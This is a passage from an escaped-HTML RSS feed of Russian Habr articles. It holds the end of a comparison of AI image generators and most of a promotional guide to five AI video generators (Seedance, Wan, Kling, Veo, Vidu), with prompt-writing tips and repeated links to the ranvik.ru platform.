— делаете вариации под разные форматы.&lt;/ul&gt;&lt;p&gt;Такой подход особенно полезен, если вы работаете не “для себя”, а под бизнес-задачи. Тогда использовать&lt;strong&gt; &lt;/strong&gt;&lt;a href=https://ranvik.ru/image&gt;&lt;strong&gt;нейросети для генерации изображений&lt;/strong&gt;&lt;/a&gt; лучше как набор инструментов, а не как выбор одного “идеального”.&lt;h3&gt;FAQ&lt;/h3&gt;&lt;h4&gt;Какая нейросеть лучше всего генерирует реалистичные фото людей?&lt;/h4&gt;&lt;p&gt;Если задача — максимально правдоподобный портрет по сложному описанию, чаще всего сильнее выглядят сервисы с хорошим пониманием промта и аккуратной работой с текстурами кожи. В нашем сравнении лучший баланс точности и реализма показал GPT Image 1.5. &lt;h4&gt;Можно ли получить качественную генерацию изображений бесплатно?&lt;/h4&gt;&lt;p&gt;Да, частично можно. Но почти у всех сервисов бесплатный режим ограничен: по числу генераций, качеству, скорости или обязательной регистрации. Поэтому генерация изображений бесплатно без регистрации обычно подходит для знакомства с сервисом, а не всегда для постоянной рабочей нагрузки.&lt;h4&gt;Какой промт лучше использовать для фотореализма?&lt;/h4&gt;&lt;p&gt;Лучший промт для фотореализма — не обязательно самый длинный. Он должен четко описывать героя, среду, свет, фактуры, композицию и ограничения. Особенно хорошо работают уточнения вроде natural light, realistic skin, film grain, no retouch, shallow depth of field.&lt;h4&gt;Что делать, если нейросеть не понимает запрос на русском?&lt;/h4&gt;&lt;p&gt;Попробуйте два варианта: сначала русский промт, потом точный перевод на английский. Многие сервисы понимают русский нормально, но на сложных фото-запросах английская формулировка иногда дает более стабильный результат. Особенно если вам нужна тонкая работа со светом, атмосферой и фактурой.&lt;h3&gt;Вывод: какую нейросеть для фото выбрать в 2026 году&lt;/h3&gt;&lt;p&gt;Для реалистичных фото по сложному промту стоит смотреть на GPT Image 1.5. Это самый ровный, предсказуемый и убедительный вариант в задаче, где важны лицо, возраст, фактуры, свет и точность формулировки.&lt;p&gt;Если нужен быстрый и удобный сервис для постоянных экспериментов, Nano Banana 2 выглядит очень практично. &lt;p&gt;Если хотите атмосферу и художественную красоту, Midjourney V7 по-прежнему очень силен. &lt;p&gt;Если нужен плотный визуал и контроль изменений — Kling Image 3.0 заслуживает внимания. Если хочется более смелой, характерной генерации — можно идти в сторону Grok.&lt;p&gt;А если смотреть глазами обычного пользователя, который просто хочет получить классное изображение без лишних мук, то лучший путь такой: пробуйте один и тот же промт в 2–3 сервисах и сравните кто лучше попадает именно в вашу задачу. В этом и есть реальная сила AI-генерации: не в волшебной кнопке, а в возможности быстро выбирать лучший результат.&lt;p&gt;Если вам нужна&lt;a href=https://ranvik.ru/image&gt; &lt;strong&gt;нейросеть для генерации изображений&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt; &lt;/strong&gt;бесплатно для старта, тестов и быстрой практики, лучше не искать мифический универсальный сервис, а сразу работать через сравнение. Один хороший промт, несколько генераторов, трезвая оценка результата — и вы очень быстро поймете, что подходит именно вам.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <guid>https://habr.com/ru/companies/ranvik/articles/1024820/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024820</guid>
      <pubDate>Sat, 18 Apr 2026 07:56:33 +0000</pubDate>
    </item>
    <item>
      <title>Нейросеть для видео ИИ: ТОП-5 нейросетей для генерации видео</title>
      <link>https://habr.com/ru/companies/ranvik/articles/1024842/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024842</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/de6/8e3/591/de68e3591188e542b9d293a909699bb5.jpeg alt=&#34;Нейросеть для видео ИИ: ТОП-5 нейросетей для генерации видео&#34; title=&#34;Нейросеть для видео ИИ: ТОП-5 нейросетей для генерации видео&#34; width=1536 height=1024 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/de6/8e3/591/de68e3591188e542b9d293a909699bb5.jpeg 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/de6/8e3/591/de68e3591188e542b9d293a909699bb5.jpeg 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Нейросеть для видео ИИ: ТОП-5 нейросетей для генерации видео&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Еще вчера создание качественного видео требовало целой команды: операторов, монтажеров и часов рендеринга. Сегодня правила игры изменились окончательно. Генеративный искусственный интеллект совершил рывок от забавных «плывущих» роликов до фотореалистичных кадров, которые практически невозможно отличить от голливудских съемок.&lt;p&gt;Мир нейросетей для видео (Text-to-Video) развивается с невероятной скоростью. Появляются модели, способные не просто анимировать картинку, а понимать законы физики, анатомию и свет. На платформе Ranvik можно &lt;a href=https://ranvik.ru/video&gt;&lt;strong&gt;создать видеоролик онлайн&lt;/strong&gt;&lt;/a&gt; используя различные модели нейросетей.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/a82/057/1b1/a820571b121390d0c853a477d022161d.png alt=&#34;Нейросеть для видео ИИ: ТОП-5 нейросетей для генерации видео&#34; title=&#34;Нейросеть для видео ИИ: ТОП-5 нейросетей для генерации видео&#34; width=1081 height=634 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/a82/057/1b1/a820571b121390d0c853a477d022161d.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/a82/057/1b1/a820571b121390d0c853a477d022161d.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Нейросеть для видео ИИ: ТОП-5 нейросетей для генерации видео&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;h3&gt;Что мы сравнивали: генерация видео по одному промту&lt;/h3&gt;&lt;p&gt;Чтобы сравнение было честным, мы берем не разные темы под каждую модель, а один и тот же запрос. Такой подход показывает реальную разницу: как нейросеть понимает атмосферу, насколько точно передает действие, умеет ли работать с движением камеры и удерживает ли детали персонажа в кадре.&lt;p&gt;Для теста мы использовали такой промт:&lt;blockquote&gt;&lt;p&gt;Крупный план космонавта, идущего по поверхности пустынной, скалистой инопланетной планеты во время пыльной бури. Песок красного оттенка бьется о стекло шлема. Свет тусклый, рассеянный, исходит от двух далеких лун в небе. На заднем плане видны очертания футуристического посадочного модуля и гигантские, причудливые скальные образования. Тяжелое, медленное дыхание космонавта визуально заметно по движению плеч. Камера следует за ним с низкой точки, как при ручной съемке, создавая эффект присутствия. Освещение приглушенное, в холодных тонах. Высокая детализация изношенного скафандра.&lt;/blockquote&gt;&lt;p&gt;Посмотреть, как в целом устроена современная&lt;a href=https://ranvik.ru/video&gt; &lt;strong&gt;генерация видео по тексту&lt;/strong&gt;&lt;/a&gt;, удобно на примерах готовых решений и сценариев использования — это помогает быстрее понять, что именно ждать от разных моделей. Примеры других работ можно найти в разделе &lt;a href=https://ranvik.ru/feed/video-prompts&gt;&lt;strong&gt;промпты для видео&lt;/strong&gt;&lt;/a&gt;.&lt;h3&gt;ТОП-5 нейросетей для видео: краткий список&lt;/h3&gt;&lt;p&gt;Ниже — 5 моделей, которые сегодня чаще всего обсуждают, тестируют и рассматривают для реальных задач.&lt;h4&gt;Seedance 1.5 Pro&lt;/h4&gt;&lt;p&gt;&lt;a href=https://ranvik.ru/seedance&gt;&lt;strong&gt;Нейросеть Seedance&lt;/strong&gt;&lt;/a&gt; — это инструмент для генерации видео по текстовому описанию, разработанный компанией ByteDance. Она старается строить цельную сцену, а не случайный набор эффектных кадров. Seedance хорошо держит настроение, движение и общий образ персонажа на протяжении ролика, поэтому подходит для атмосферных и визуально связных видео.&lt;h4&gt;Wan 2.6&lt;/h4&gt;&lt;p&gt;&lt;a href=https://ranvik.ru/wan&gt;&lt;strong&gt;Wan 2.6 нейросеть&lt;/strong&gt;&lt;/a&gt; для создания видео по описанию делает акцент на цельности результата и понятной визуальной подаче. Она подходит для тех случаев, когда хочется получить выразительное видео без долгой борьбы с настройками. Wan часто выбирают за ощущение аккуратной, собранной сцены.&lt;h4&gt;Kling AI 2.6 Pro&lt;/h4&gt;&lt;p&gt;&lt;a href=https://ranvik.ru/kling&gt;&lt;strong&gt;Kling AI 2.6 Pro&lt;/strong&gt;&lt;/a&gt; — это нейросеть, ориентированная на зрелищный и динамичный результат. Она хорошо справляется с движением, камерой и общей кинематографичностью, поэтому часто используется в проектах, где важен эффект вау уже с первых секунд.&lt;h4&gt;Veo 3.1&lt;/h4&gt;&lt;p&gt;&lt;a href=https://ranvik.ru/veo&gt;&lt;strong&gt;Veo 3.1&lt;/strong&gt;&lt;/a&gt; — это инструмент для генерации видео по текстовому описанию, который делает упор на реалистичность, атмосферу и плавность сцены. Такая модель подходит, когда нужен более “собранный” и визуально взрослый результат, похожий на фрагмент из настоящего ролика, а не просто эффектный эксперимент.&lt;h4&gt;Vidu Q3&lt;/h4&gt;&lt;p&gt;&lt;a href=https://ranvik.ru/vidu&gt;&lt;strong&gt;Vidu Q3&lt;/strong&gt;&lt;/a&gt; — это нейросеть для создания видео, которая помогает быстро превращать идею в короткий ролик с понятной структурой сцены. Ее часто выбирают пользователи, которым важны скорость, понятный интерфейс и возможность быстро проверить концепцию без сложного входа в тему.&lt;h3&gt;Лучшие нейросети для генерации видео: подробный разбор&lt;/h3&gt;&lt;h3&gt;Seedance 1.5 Pro&lt;/h3&gt;&lt;div class=tm-iframe_temp data-src=https://embedd.srv.habr.com/iframe/69e3341d42c0bc03ac29a3ea data-style id=69e3341d42c0bc03ac29a3ea width data-habr-games&gt;&lt;/div&gt;&lt;h4&gt;Чем цепляет Seedance 1.5 Pro&lt;/h4&gt;&lt;p&gt;У Seedance сильная сторона — ощущение цельности. Когда вы даете сложный атмосферный запрос, модель старается не рассыпать его на отдельные красивые куски. Она лучше многих удерживает один образ, одно настроение и одно визуальное направление. Это особенно заметно на сценах, где важны драматизм, плотная среда и медленное развитие действия.&lt;p&gt;В тесте с космонавтом Seedance хорошо раскрывает именно чувство присутствия. Камера будто идет рядом, сцена воспринимается как фрагмент из фильма, а не как эффектная анимация. Если промт написан внятно, ролик получается убедительным уже на первом-втором заходе.&lt;h4&gt;Где использовать Seedance&lt;/h4&gt;&lt;p&gt;Seedance хорошо подходит для таких задач:&lt;ul&gt;&lt;li&gt;&lt;p&gt;атмосферные рекламные ролики;&lt;li&gt;&lt;p&gt;концепты для брендов;&lt;li&gt;&lt;p&gt;mood-видео для презентаций;&lt;li&gt;&lt;p&gt;видеовизуал для музыкальных проектов;&lt;li&gt;&lt;p&gt;кинематографичные заставки;&lt;li&gt;&lt;p&gt;креативы для соцсетей, где важна визуальная глубина.&lt;/ul&gt;&lt;h4&gt;Кому подойдет&lt;/h4&gt;&lt;p&gt;Эта модель понравится тем, кто ищет не просто &lt;a href=https://ranvik.ru/video&gt;&lt;strong&gt;нейросеть для генерации видео онлайн&lt;/strong&gt;&lt;/a&gt;, а инструмент с выраженным стилем и чувством сцены. Если вам важно настроение кадра и вы хотите делать ролики с более дорогим визуальным ощущением, Seedance — один из самых интересных вариантов.&lt;h4&gt;Когда Seedance особенно хорош&lt;/h4&gt;&lt;p&gt;Лучше всего он раскрывается там, где ролик строится на атмосфере: фантастика, фэшн, имиджевые ролики, визуальные истории, трейлерные отрывки. Если задача — быстро сделать сухой объясняющий ролик, можно выбрать и более простой путь. Но если нужна “магия кадра”, Seedance часто дает очень сильный результат.&lt;h3&gt;Wan 2.6&lt;/h3&gt;&lt;div class=tm-iframe_temp data-src=https://embedd.srv.habr.com/iframe/69e3341d67f22e02b49c7934 data-style id=69e3341d67f22e02b49c7934 width data-habr-games&gt;&lt;/div&gt;&lt;h4&gt;Чем интересен Wan 2.6&lt;/h4&gt;&lt;p&gt;Wan 2.6 производит впечатление более спокойной и собранной модели. У него меньше ощущения, что он пытается любой ценой удивить зрителя. Зато часто лучше ощущается логика сцены: персонаж ведет себя предсказуемо, кадр не “ломается”, а ролик выглядит более аккуратно.&lt;p&gt;Это важно для пользователей, которым нужна не только эффектность, но и управляемость. Хорошая генерация видео нейросетью онлайн бесплатно часто начинается именно с теста спокойной модели, которая не уводит идею слишком далеко от запроса.&lt;h4&gt;Где использовать Wan 2.6&lt;/h4&gt;&lt;p&gt;Wan 2.6 удобен для:&lt;ul&gt;&lt;li&gt;&lt;p&gt;прототипов рекламных роликов;&lt;li&gt;&lt;p&gt;демонстрации сценарных идей;&lt;li&gt;&lt;p&gt;коротких визуальных историй;&lt;li&gt;&lt;p&gt;видео для блога;&lt;li&gt;&lt;p&gt;презентаций продукта;&lt;li&gt;&lt;p&gt;сторис и reels с понятной подачей.&lt;/ul&gt;&lt;h4&gt;Для каких задач он особенно удобен&lt;/h4&gt;&lt;p&gt;Если нужно быстро показать заказчику направление без долгой шлифовки, Wan часто оказывается удобнее, чем модели с более ярко выраженным характером. Он не так сильно перетягивает внимание на “красоту ради красоты”, а помогает собрать сцену ближе к исходной идее.&lt;h4&gt;Почему его стоит держать в списке&lt;/h4&gt;&lt;p&gt;Wan 2.6 — хороший выбор, когда нужна не самая громкая, а самая практичная генерация видео для ежедневной работы. Он может оказаться особенно полезным маркетологам, дизайнерам, продюсерам контента и всем, кто делает много тестовых роликов и не хочет тратить время на бесконечные перегенерации.&lt;h3&gt;Kling AI 2.6 Pro&lt;/h3&gt;&lt;div class=tm-iframe_temp data-src=https://embedd.srv.habr.com/iframe/69e3341dddfeeb036a8c4955 data-style id=69e3341dddfeeb036a8c4955 width data-habr-games&gt;&lt;/div&gt;&lt;h4&gt;Что дает Kling AI 2.6 Pro&lt;/h4&gt;&lt;p&gt;Kling AI 2.6 Pro любят за зрелищность. Эта модель умеет делать кадры, которые сразу выглядят “дорого” и цепляют вниманием. Она особенно хороша там, где в сцене есть движение, драматичное поведение камеры, смена планов, динамика среды.&lt;p&gt;В тестовом космическом промте Kling обычно раскрывается через масштаб и движение: буря ощущается активнее, а камера сильнее подчеркивает напряжение. Если цель — впечатлить, это один из самых заметных кандидатов.&lt;h4&gt;Где использовать Kling AI 2.6 Pro&lt;/h4&gt;&lt;p&gt;Лучшие сценарии для Kling:&lt;ul&gt;&lt;li&gt;&lt;p&gt;рекламные тизеры;&lt;li&gt;&lt;p&gt;трейлерные фрагменты;&lt;li&gt;&lt;p&gt;видеокреативы для соцсетей;&lt;li&gt;&lt;p&gt;презентации идей в агентствах;&lt;li&gt;&lt;p&gt;контент, где важно мгновенно зацепить зрителя;&lt;li&gt;&lt;p&gt;визуальные концепты для игровых и фантастических проектов.&lt;/ul&gt;&lt;h4&gt;Для кого подходит Kling&lt;/h4&gt;&lt;p&gt;Если вы хотите сгенерировать видео ИИ с ощущением масштаба и зрелищности, Kling — один из сильных вариантов. Он нравится тем, кто делает ролики для wow-эффекта: от промо до развлекательного контента.&lt;h4&gt;В чем его практическая ценность&lt;/h4&gt;&lt;p&gt;Для многих команд Kling полезен как быстрый генератор. Его можно использовать не только для финального ролика, но и для поиска стилистики, теста подачи, создания визуальных черновиков и обсуждения креативной концепции внутри команды.&lt;p&gt;Если вы сравниваете сервисы и хотите понять, какая&lt;a href=https://ranvik.ru/video&gt; &lt;strong&gt;нейросеть для генерации видео &lt;/strong&gt;&lt;/a&gt;бесплатно лучше подойдет именно под коммерческую задачу, важно смотреть не на громкость бренда, а на то, какой тип роликов вы планируете делать чаще всего.&lt;h3&gt;Veo 3.1&lt;/h3&gt;&lt;div class=tm-iframe_temp data-src=https://embedd.srv.habr.com/iframe/69e3341e07a5a0023038a070 data-style id=69e3341e07a5a0023038a070 width data-habr-games&gt;&lt;/div&gt;&lt;h4&gt;Почему Veo 3.1&lt;/h4&gt;&lt;p&gt;Сильная сторона Veo 3.1 — ощущение плавности, аккуратности и визуальной зрелости. Видео выглядят так, будто у сцены есть внутренняя дисциплина: меньше случайного шума, больше ощущения, что ролик действительно поставлен.&lt;h4&gt;Где Veo 3.1 особенно полезен&lt;/h4&gt;&lt;p&gt;Он хорошо подходит для:&lt;ul&gt;&lt;li&gt;&lt;p&gt;презентационных роликов;&lt;li&gt;&lt;p&gt;имиджевого видео;&lt;li&gt;&lt;p&gt;премиальных рекламных концептов;&lt;li&gt;&lt;p&gt;коротких историй с кинематографичным тоном;&lt;li&gt;&lt;p&gt;внутренних pitch-видео для брендов и команд;&lt;li&gt;&lt;p&gt;визуальных тестов перед полноценным продакшном.&lt;/ul&gt;&lt;h4&gt;Кому стоит присмотреться к Veo&lt;/h4&gt;&lt;p&gt;Тем, кто ищет не просто ИИ онлайн создающий видео, а инструмент для более серьезного визуального результата. Если вам важно, чтобы ролик выглядел дорого и спокойно, без лишней крикливости, Veo может оказаться одним из лучших вариантов.&lt;h4&gt;Когда Veo выигрывает&lt;/h4&gt;&lt;p&gt;Он особенно хорош тогда, когда важен не только эффект, но и доверие к картинке. Например, в презентациях для клиента или инвестора слишком “игрушечный” ролик может испортить впечатление. Veo чаще помогает избежать этого ощущения.&lt;h3&gt;Vidu Q3&lt;/h3&gt;&lt;div class=tm-iframe_temp data-src=https://embedd.srv.habr.com/iframe/69e3341e67f22e02b49c793a data-style id=69e3341e67f22e02b49c793a width data-habr-games&gt;&lt;/div&gt;&lt;h4&gt;Чем удобен Vidu Q3&lt;/h4&gt;&lt;p&gt;Vidu Q3 нравится многим своей понятностью. Это инструмент, который помогает быстро перейти от идеи к ролику без ощущения, что нужно сначала неделю изучать интерфейс и поведение модели. Для большого числа пользователей это важнее, чем максимальная художественная глубина.&lt;p&gt;Когда речь идет о первых тестах, быстрых креативах, повседневной работе с контентом и простом входе в тему, Vidu Q3 выглядит очень практично. Он помогает быстрее освоить сам принцип, как работает нейросеть для генерации видео по тексту.&lt;h4&gt;Где использовать Vidu Q3&lt;/h4&gt;&lt;p&gt;Чаще всего его применяют для:&lt;ul&gt;&lt;li&gt;&lt;p&gt;коротких роликов для соцсетей;&lt;li&gt;&lt;p&gt;теста идей;&lt;li&gt;&lt;p&gt;контента для личного бренда;&lt;li&gt;&lt;p&gt;видео для небольших проектов;&lt;li&gt;&lt;p&gt;простых рекламных заготовок;&lt;li&gt;&lt;p&gt;быстрых визуальных концептов.&lt;/ul&gt;&lt;h4&gt;Кому он подходит лучше всего&lt;/h4&gt;&lt;p&gt;Vidu Q3 — хороший выбор для новичков, предпринимателей, авторов и небольших команд, которые хотят быстро &lt;a href=https://ranvik.ru/video&gt;&lt;strong&gt;создать видео с помощью ИИ&lt;/strong&gt;&lt;/a&gt; без перегрузки лишними действиями. Это не значит, что модель только для начинающих. Скорее, она просто дружелюбнее на входе.&lt;h4&gt;В чем ее сильная бытовая ценность&lt;/h4&gt;&lt;p&gt;Иногда лучшая модель — не та, что дает самый красивый единичный ролик, а та, которой вы будете реально пользоваться каждую неделю. В этом смысле Vidu Q3 удобен: он помогает не откладывать идею, а сразу переводить ее в видео.&lt;h3&gt;Возможности нейросетей для генерации видео&lt;/h3&gt;&lt;p&gt;Современная нейросеть для генерации видео умеет намного больше, чем просто анимировать абстрактную сцену. Даже если не углубляться в технические детали, уже сейчас можно выделить несколько реальных возможностей, которые полезны в работе.&lt;h4&gt;Генерация видео по тексту&lt;/h4&gt;&lt;p&gt;Это базовый и самый востребованный сценарий. Вы описываете сцену словами, а модель превращает описание в ролик. Именно поэтому так востребована генерация видео по описанию: она позволяет начать работу без камеры, актеров и площадки.&lt;h4&gt;Генерация видео по фото&lt;/h4&gt;&lt;p&gt;Отдельный популярный сценарий — генерация видео по фото. Пользователь берет изображение персонажа, продукта, интерьера или объекта и просит модель “оживить” сцену. Часто это используют для карточек товара, портретных видео, коротких анимаций и презентационных материалов. &lt;p&gt;&lt;strong&gt;Онлайн-работа без сложного входа&lt;/strong&gt;&lt;p&gt;Многим важна именно &lt;a href=https://ranvik.ru/video&gt;&lt;strong&gt;видео генерация онлайн&lt;/strong&gt;&lt;/a&gt;, когда не нужно ничего ставить на компьютер и разбираться в тяжелом софте. Пользователь заходит в сервис, вставляет промт, загружает картинку при необходимости и получает ролик прямо в браузере.&lt;h4&gt;Быстрые прототипы&lt;/h4&gt;&lt;p&gt;Нейросети сильно экономят время на этапе идеи. Вы можете за вечер проверить 5–10 вариантов ролика, сравнить атмосферу, движение, стиль и выбрать лучшее направление. Раньше на это ушла бы неделя переписок, раскадровок и тестов.&lt;h4&gt;Масштабирование контента&lt;/h4&gt;&lt;p&gt;Один и тот же продукт можно показать по-разному: для сайта, для рекламы, для сторис, для вертикального видео, для презентации. Там, где раньше требовалось несколько отдельных продакшн-сессий, теперь часть задач закрывает создать видео через ИИ по разным сценариям на основе одной идеи.&lt;h3&gt;Как выбрать нейросеть для видео под свою задачу&lt;/h3&gt;&lt;p&gt;Выбирать нужно не “самую хайповую” модель, а ту, которая подходит под ваш формат работы. Универсальной нейросети нет. У каждой сильны свои стороны.&lt;h4&gt;Если нужен вау-эффект&lt;/h4&gt;&lt;p&gt;Для ярких, эффектных, эмоциональных роликов чаще выбирают Kling AI 2.6 Pro или Seedance 1.5 Pro. Они лучше работают там, где важны зрелищность, движение и сильное первое впечатление.&lt;h4&gt;Если нужна управляемость&lt;/h4&gt;&lt;p&gt;Если вы делаете много прототипов, согласовываете идеи с клиентом или командой и хотите более предсказуемый результат, разумно смотреть на Wan 2.6 или Vidu Q3.&lt;h4&gt;Если вы только начинаете&lt;/h4&gt;&lt;p&gt;Новичкам важна не только картинка, но и порог входа. В этом случае лучше брать понятный инструмент, на котором легко учиться, а уже потом переходить к более капризным моделям. Иначе можно решить, что создать ИИ видео сложно, хотя проблема была не в технологии, а в выборе слишком требовательного инструмента.&lt;h4&gt;На что смотреть при выборе&lt;/h4&gt;&lt;p&gt;Ориентируйтесь на пять простых критериев:&lt;ul&gt;&lt;li&gt;&lt;p&gt;насколько модель понимает ваш тип промтов;&lt;li&gt;&lt;p&gt;как она держит персонажа и сцену;&lt;li&gt;&lt;p&gt;удобно ли вам делать несколько попыток;&lt;li&gt;&lt;p&gt;подходит ли результат под ваш стиль контента;&lt;li&gt;&lt;p&gt;реально ли вы будете использовать этот сервис регулярно.&lt;/ul&gt;&lt;h3&gt;Как сделать видео: пошаговая инструкция&lt;/h3&gt;&lt;p&gt;Многие пользователи заходят в сервис и сразу пишут что-то вроде: “Сделай красивое видео космоса”. После этого получают средний результат и разочаровываются. На практике хороший ролик — это последовательность простых шагов.&lt;h4&gt;Шаг 1. Определите цель&lt;/h4&gt;&lt;p&gt;Сначала ответьте себе, зачем вам ролик:&lt;ul&gt;&lt;li&gt;&lt;p&gt;для рекламы;&lt;li&gt;&lt;p&gt;для соцсетей;&lt;li&gt;&lt;p&gt;для презентации;&lt;li&gt;&lt;p&gt;для теста идеи;&lt;li&gt;&lt;p&gt;для личного проекта;&lt;li&gt;&lt;p&gt;для сторителлинга.&lt;/ul&gt;&lt;p&gt;Одна и та же сцена может быть красивой, но бесполезной, если она не решает вашу задачу.&lt;h4&gt;Шаг 2. Определите формат&lt;/h4&gt;&lt;p&gt;Сразу решите:&lt;ul&gt;&lt;li&gt;&lt;p&gt;вертикальное видео или горизонтальное;&lt;li&gt;&lt;p&gt;короткий ролик или длиннее;&lt;li&gt;&lt;p&gt;атмосферный темп или динамичный;&lt;li&gt;&lt;p&gt;реалистичный стиль или более художественный.&lt;/ul&gt;&lt;p&gt;Это помогает точнее поставить задачу &lt;a href=https://ranvik.ru/video&gt;&lt;strong&gt;AI для генерации видео&lt;/strong&gt;&lt;/a&gt;.&lt;h4&gt;Шаг 3. Напишите промт&lt;/h4&gt;&lt;p&gt;Лучший подход — описывать сцену не общими словами, а по слоям:&lt;ul&gt;&lt;li&gt;&lt;p&gt;кто в кадре;&lt;li&gt;&lt;p&gt;где происходит действие;&lt;li&gt;&lt;p&gt;что делает герой;&lt;li&gt;&lt;p&gt;как движется камера;&lt;li&gt;&lt;p&gt;какое освещение;&lt;li&gt;&lt;p&gt;какое настроение;&lt;li&gt;&lt;p&gt;какие детали особенно важны.&lt;/ul&gt;&lt;p&gt;Именно так работает сильная генерация видео по тексту бесплатно в тех сервисах, где дают тестовый доступ или демо-возможности.&lt;h4&gt;Шаг 4. Сделайте первую генерацию&lt;/h4&gt;&lt;p&gt;Не ждите, что первый результат будет идеальным. Первая генерация нужна, чтобы увидеть направление: правильно ли модель поняла атмосферу, героя, движение и акценты.&lt;h4&gt;Шаг 5. Доработайте промт&lt;/h4&gt;&lt;p&gt;После первой попытки улучшайте описание:&lt;ul&gt;&lt;li&gt;&lt;p&gt;усиливайте важные детали;&lt;li&gt;&lt;p&gt;убирайте лишнее;&lt;li&gt;&lt;p&gt;уточняйте камеру;&lt;li&gt;&lt;p&gt;конкретизируйте свет;&lt;li&gt;&lt;p&gt;задавайте темп сцены.&lt;/ul&gt;&lt;h4&gt;Шаг 6. Сравните 2–3 варианта&lt;/h4&gt;&lt;p&gt;Хороший результат часто рождается не с одной попытки. Даже сильные модели для генерации видео раскрываются по-разному на почти одинаковых формулировках.&lt;h4&gt;Шаг 7. Выберите лучший ролик и адаптируйте под задачу&lt;/h4&gt;&lt;p&gt;После генерации оцените ролик не только по красоте, но и по пользе. Подходит ли он под рекламу? Удерживает ли внимание? Считывается ли идея в первые секунды? Если да — ролик можно использовать дальше.&lt;h3&gt;Как писать промт, чтобы видео получалось лучше&lt;/h3&gt;&lt;p&gt;Промт — это не магическое заклинание, а понятная постановка задачи. Чем яснее вы описываете сцену, тем выше шанс, что модель даст полезный результат.&lt;h4&gt;Начинайте с главного объекта&lt;/h4&gt;&lt;p&gt;Сначала скажите, кто или что главное в кадре. Например: космонавт, девушка, автомобиль, дом, робот, продукт на столе. Не стоит начинать с второстепенных деталей.&lt;h4&gt;Затем задавайте окружение&lt;/h4&gt;&lt;p&gt;После героя укажите, где он находится. Пустынная планета, городской дождливый вечер, темный коридор, студия, лес, футуристический интерьер — это задает общий фундамент сцены.&lt;h4&gt;Потом добавляйте действие&lt;/h4&gt;&lt;p&gt;Главный объект должен что-то делать. Идти, смотреть в камеру, поднимать руку, ехать, бежать, оглядываться, открывать дверь. Действие оживляет сцену и помогает модели понять, что вы хотите именно видео, а не статичную картинку.&lt;h4&gt;Не забывайте про камеру&lt;/h4&gt;&lt;p&gt;Очень часто качество ролика решается именно камерой:&lt;ul&gt;&lt;li&gt;&lt;p&gt;крупный план;&lt;li&gt;&lt;p&gt;средний план;&lt;li&gt;&lt;p&gt;низкая точка;&lt;li&gt;&lt;p&gt;следование за персонажем;&lt;li&gt;&lt;p&gt;ручная съемка;&lt;li&gt;&lt;p&gt;медленный проезд;&lt;li&gt;&lt;p&gt;плавное приближение.&lt;/ul&gt;&lt;p&gt;Для качественного результата это почти так же важно, как и сам сюжет.&lt;h4&gt;Описывайте свет и настроение&lt;/h4&gt;&lt;p&gt;Свет — это половина восприятия. Приглушенный, холодный, мягкий, контрастный, закатный, неоновый, рассеянный — такие слова сразу задают тон.&lt;h4&gt;Делайте промт конкретным, но не перегруженным&lt;/h4&gt;&lt;p&gt;Ошибка новичка — пытаться впихнуть в один запрос весь фильм. Для хорошего результата важен баланс: достаточно деталей, чтобы сцена была понятной, но не так много, чтобы модель начала путаться.&lt;p&gt;Это особенно важно, если вы хотите &lt;a href=https://ranvik.ru/video&gt;&lt;strong&gt;создать видео ИИ по тексту&lt;/strong&gt;&lt;/a&gt; без десятков повторных попыток.&lt;h3&gt;Типичные ошибки и как их избежать&lt;/h3&gt;&lt;p&gt;Даже сильная нейросеть для генерации видео по тексту не спасет, если задача поставлена слабо. Вот ошибки, которые встречаются чаще всего.&lt;h4&gt;Слишком общий промт&lt;/h4&gt;&lt;p&gt;“Сделай красивое видео космоса” — плохой запрос. Он не задает героя, настроение, действия, камеру и свет. Результат почти всегда будет средним.&lt;p&gt;Как исправить: описывайте сцену предметно и последовательно.&lt;h4&gt;Слишком много идей в одном запросе&lt;/h4&gt;&lt;p&gt;Пользователь хочет, чтобы в одном ролике были город, лес, космос, робот, дрон, взрыв, дождь, портрет и смена дня на ночь. Итог — хаос.&lt;p&gt;Как исправить: одна сцена — одна главная идея.&lt;h4&gt;Нет указания на движение&lt;/h4&gt;&lt;p&gt;Если в промте не сказано, что происходит, ролик может выглядеть почти статичным.&lt;p&gt;Как исправить: добавляйте действие героя, движение камеры и динамику среды.&lt;h4&gt;Нет атмосферы&lt;/h4&gt;&lt;p&gt;Без света, настроения и среды ролик получается пустым.&lt;p&gt;Как исправить: обязательно описывайте освещение, цветовую температуру, эмоцию сцены и фактуру окружения.&lt;h4&gt;Ожидание идеала с первой попытки&lt;/h4&gt;&lt;p&gt;Пользователь делает один запуск и решает, что сервис плохой. Но хороший результат почти всегда требует пары итераций.&lt;p&gt;Как исправить: воспринимайте первую генерацию как черновик, а не как финал.&lt;h3&gt;Может ли нейросеть заменить обычный продакшн&lt;/h3&gt;&lt;p&gt;Полностью — не всегда. Но во многих задачах уже сейчас ИИ закрывает существенную часть работы.&lt;p&gt;Он отлично подходит для:&lt;ul&gt;&lt;li&gt;&lt;p&gt;теста идеи до съемки;&lt;li&gt;&lt;p&gt;быстрых креативов;&lt;li&gt;&lt;p&gt;раскадровки и визуального поиска;&lt;li&gt;&lt;p&gt;контента, где важна скорость;&lt;li&gt;&lt;p&gt;роликов, не требующих сложного реального взаимодействия объектов.&lt;/ul&gt;&lt;p&gt;При этом в больших коммерческих проектах живой продакшн по-прежнему остается важным. Но даже там &lt;a href=https://ranvik.ru/video&gt;&lt;strong&gt;ИИ 